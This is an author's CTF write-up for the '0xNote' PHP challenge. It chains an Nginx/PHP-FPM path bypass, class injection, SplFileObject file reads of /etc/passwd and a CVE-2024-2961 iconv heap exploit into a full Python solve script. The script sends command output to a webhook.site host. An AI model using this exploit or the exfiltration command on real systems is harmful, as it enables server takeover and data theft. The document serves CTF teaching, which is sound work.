## 0xNote This is official writeup for my challenge in 0xL4ugh CTF v5 - 0xNote. ![image](https://hackmd.io/_uploads/Bky_c9QL-x.png) You can read the source code here: https://github.com/threalwinky/CTF-Challenges/tree/main/0xNote ### Nginx - php-fpm bypass The premium setting seems to be blocked: ![image](https://hackmd.io/_uploads/By0_nqXIWl.png) However, we should notice that the proxy server is Nginx and the backend web server is PHP-FPM. This allows us to bypass the restriction using this trick: https://angelica.gitbook.io/hacktricks/pentesting-web/proxy-waf-protections-bypass#php-fpm:~:text=x09%2C%20%3B-,PHP%2DFPM,-Nginx%20FPM%20configuration Based on that, we can simply go to: `/premium.php/index.php` ![image](https://hackmd.io/_uploads/HkSgysQ8bx.png) ### Class injection Notice that if we change the color value, the color in the session is also updated: `$_SESSION['color'] = $_POST['color'];` This value is then rendered into index.html as a new class: ```html <div class="note-display"> <h3>Your Note</h3> <div class="note-content" id="noteContent"> <?= new $_SESSION["color"]($_SESSION["note"]) ?> </div> </div> ``` -> we can control the class name and set it to an arbitrary value ### LFI using SPLFileObject Using the SPLFileObject class, we can read any file on the web server, but only the first line: ![image](https://hackmd.io/_uploads/HyaAxiXUZx.png) To read full file, we can use php:// wrapper to base64 encode the file like this: `$c = new SPLFileObject('php://filter/convert.base64-encode/resource=/etc/passwd');` ![image](https://hackmd.io/_uploads/BJcr-s7I-x.png) ### CVE-2024-2961 Now that we can read arbitrary files, we can move to the next level: RCE. The key vulnerability here is CVE-2024-2961. Vuln lab: https://github.com/vulhub/vulhub/blob/master/php/CVE-2024-2961/README.md POC: https://github.com/ambionics/cnext-exploits/blob/main/cnext-exploit.py Because I’m just a chicken when it comes to pwn, I’ll only tell what we need to read: * /proc/self/maps * Use SPLFileObject('php://\<iconv to set the charset\>') to trigger RCE For full details, you can read here : https://blog.lexfo.fr/iconv-cve-2024-2961-p1.html ### Full solve script This is my solve script to bypass nginx -> read file -> set the charset to trigger RCE (Remember to change the webhook URL to your own) ```python import requests from pwn import * import re import base64 import zlib from bs4 import BeautifulSoup session = requests.Session() ## Constant HEAP_SIZE = 2 * 1024 * 1024 BUG = "劄".encode("utf-8") ## Post init function def get_file(url, path): path = f"php://filter/convert.base64-encode/resource={path}" r = session.post(url + 'login.php', data={'username':'winky'}) r = session.post(url + 'index.php', data={'note':path}) r = session.post(url + '/premium.php/index.php', data={'color': 'SplFileObject'}) r = session.get(url + 'index.php') soup = BeautifulSoup(r.text, "html.parser") data = soup.find("div", id="noteContent").get_text(strip=True) return base64.b64decode(data) def compress(data): return zlib.compress(data, 9)[2:-4] def compressed_bucket(data): return chunked_chunk(data, 0x8000) def qpe(data): return "".join(f"={x:02x}" for x in data).upper().encode() def ptr_bucket(*ptrs, size=None): if size is not None: assert len(ptrs) * 8 == size bucket = b"".join(map(p64, ptrs)) bucket = qpe(bucket) bucket = chunked_chunk(bucket) bucket = chunked_chunk(bucket) bucket = chunked_chunk(bucket) bucket = compressed_bucket(bucket) return bucket def chunked_chunk(data, size: int = None): if size is None: size = len(data) + 8 keep = len(data) + len(b"\n\n") size = f"{len(data):x}".rjust(size - keep, "0") return size.encode() + b"\n" + data + b"\n" ## Pwn core class PWN_Core(): def __init__(self, url, command) -> None: self.url = url self.command = command self.info = {} self.heap = None self.pad = 20 class Region(): def __init__(self, start, stop, permissions, path): self.start = int(start) self.stop = int(stop) self.permissions = permissions self.path = path @property def size(self) -> int: return self.stop - self.start def download_file(self, remote_path: str, local_path: str) -> None: data = get_file(self.url, remote_path) Path(local_path).write_bytes(data) def get_regions(self): maps = get_file(self.url, "/proc/self/maps") maps = maps.decode() PATTERN = re.compile( r"^([a-f0-9]+)-([a-f0-9]+)\b" r".*" r"\s([-rwx]{3}[ps])\s" r"(.*)" ) regions = [] for region in [line.strip() for line in maps.strip().split('\n')]: if match := PATTERN.match(region): start = int(match.group(1), 16) stop = int(match.group(2), 16) permissions = match.group(3) path = match.group(4) if "/" in path or "[" in path: path = path.rsplit(" ", 1)[-1] else: path = "" current = self.Region(start, stop, permissions, path) regions.append(current) else: print(maps) return regions def _get_region(self, regions: list[Region], *names: str) -> Region: for region in regions: if any(name in region.path for name in names): break return region def find_main_heap(self, regions): heaps = [ region.stop - HEAP_SIZE + 0x40 for region in reversed(regions) if region.permissions == "rw-p" and region.size >= HEAP_SIZE and region.stop & (HEAP_SIZE-1) == 0 and region.path in ("", "[anon:zend_alloc]") ] first = heaps[0] if len(heaps) > 1: heaps = ", ".join(map(hex, heaps)) return first def get_symbols_and_addresses(self) -> None: regions = self.get_regions() LIBC_FILE = "./libc" self.info["heap"] = self.find_main_heap(regions) libc = self._get_region(regions, "libc-", "libc.so") self.download_file(libc.path, LIBC_FILE) self.info["libc"] = ELF(LIBC_FILE, checksec=False) self.info["libc"].address = libc.start def build_exploit_path(self): self.get_symbols_and_addresses() LIBC = self.info["libc"] ADDR_EMALLOC = LIBC.symbols["__libc_malloc"] ADDR_EFREE = LIBC.symbols["__libc_system"] ADDR_EREALLOC = LIBC.symbols["__libc_realloc"] ADDR_HEAP = self.info["heap"] ADDR_FREE_SLOT = ADDR_HEAP + 0x20 ADDR_CUSTOM_HEAP = ADDR_HEAP + 0x0168 ADDR_FAKE_BIN = ADDR_FREE_SLOT - 0x10 CS = 0x100 pad_size = CS - 0x18 pad = b"\x00" * pad_size pad = chunked_chunk(pad, len(pad) + 6) pad = chunked_chunk(pad, len(pad) + 6) pad = chunked_chunk(pad, len(pad) + 6) pad = compressed_bucket(pad) step1_size = 1 step1 = b"\x00" * step1_size step1 = chunked_chunk(step1) step1 = chunked_chunk(step1) step1 = chunked_chunk(step1, CS) step1 = compressed_bucket(step1) step2_size = 0x48 step2 = b"\x00" * (step2_size + 8) step2 = chunked_chunk(step2, CS) step2 = chunked_chunk(step2) step2 = compressed_bucket(step2) step2_write_ptr = b"0\n".ljust(step2_size, b"\x00") + p64(ADDR_FAKE_BIN) step2_write_ptr = chunked_chunk(step2_write_ptr, CS) step2_write_ptr = chunked_chunk(step2_write_ptr) step2_write_ptr = compressed_bucket(step2_write_ptr) step3_size = CS step3 = b"\x00" * step3_size assert len(step3) == CS step3 = chunked_chunk(step3) step3 = chunked_chunk(step3) step3 = chunked_chunk(step3) step3 = compressed_bucket(step3) step3_overflow = b"\x00" * (step3_size - len(BUG)) + BUG assert len(step3_overflow) == CS step3_overflow = chunked_chunk(step3_overflow) step3_overflow = chunked_chunk(step3_overflow) step3_overflow = chunked_chunk(step3_overflow) step3_overflow = compressed_bucket(step3_overflow) step4_size = CS step4 = b"=00" + b"\x00" * (step4_size - 1) step4 = chunked_chunk(step4) step4 = chunked_chunk(step4) step4 = chunked_chunk(step4) step4 = compressed_bucket(step4) step4_pwn = ptr_bucket( 0x200000, 0, # free_slot 0, 0, ADDR_CUSTOM_HEAP, # 0x18 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, ADDR_HEAP, # 0x140 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, size=CS, ) step4_custom_heap = ptr_bucket( ADDR_EMALLOC, ADDR_EFREE, ADDR_EREALLOC, size=0x18 ) step4_use_custom_heap_size = 0x140 COMMAND = self.command COMMAND = f"kill -9 $PPID; {COMMAND}" COMMAND = COMMAND.encode() + b"\x00" COMMAND = COMMAND.ljust(step4_use_custom_heap_size, b"\x00") step4_use_custom_heap = COMMAND step4_use_custom_heap = qpe(step4_use_custom_heap) step4_use_custom_heap = chunked_chunk(step4_use_custom_heap) step4_use_custom_heap = chunked_chunk(step4_use_custom_heap) step4_use_custom_heap = chunked_chunk(step4_use_custom_heap) step4_use_custom_heap = compressed_bucket(step4_use_custom_heap) pages = ( step4 * 3 + step4_pwn + step4_custom_heap + step4_use_custom_heap + step3_overflow + pad * self.pad + step1 * 3 + step2_write_ptr + step2 * 2 ) resource = compress(compress(pages)) resource = base64.b64encode(resource).decode() resource = f"data:text/plain;base64,{resource}" filters = [ # Create buckets "zlib.inflate", "zlib.inflate", # Step 0: Setup heap "dechunk", "convert.iconv.L1.L1", # Step 1: Reverse FL order "dechunk", "convert.iconv.L1.L1", # Step 2: Put fake pointer and make FL order back to normal "dechunk", "convert.iconv.L1.L1", # Step 3: Trigger overflow "dechunk", "convert.iconv.UTF-8.ISO-2022-CN-EXT", # Step 4: Allocate at arbitrary address and change zend_mm_heap "convert.quoted-printable-decode", "convert.iconv.L1.L1", ] filters = "|".join(filters) path = f"php://filter/read={filters}/resource={resource}" return path def solve(): # URL = 'http://challenges2.ctf.sd:34896/' URL = 'http://127.0.0.1:5000/' path = PWN_Core(URL, 'curl https://webhook.site/ca9a194c-4098-4d72-85c1-1e96a6a62fa0/$(/readflag)').build_exploit_path() try: r = get_file(URL, path) except: pass print('Exploit sucessfully') solve() ``` ![image](https://hackmd.io/_uploads/HkWhxiVIWl.png) Flag: `0xL4ugh{1think_y0u_l0ved_my_pHp_n0te_e1bfd312v_4956dee93d5d25fa}`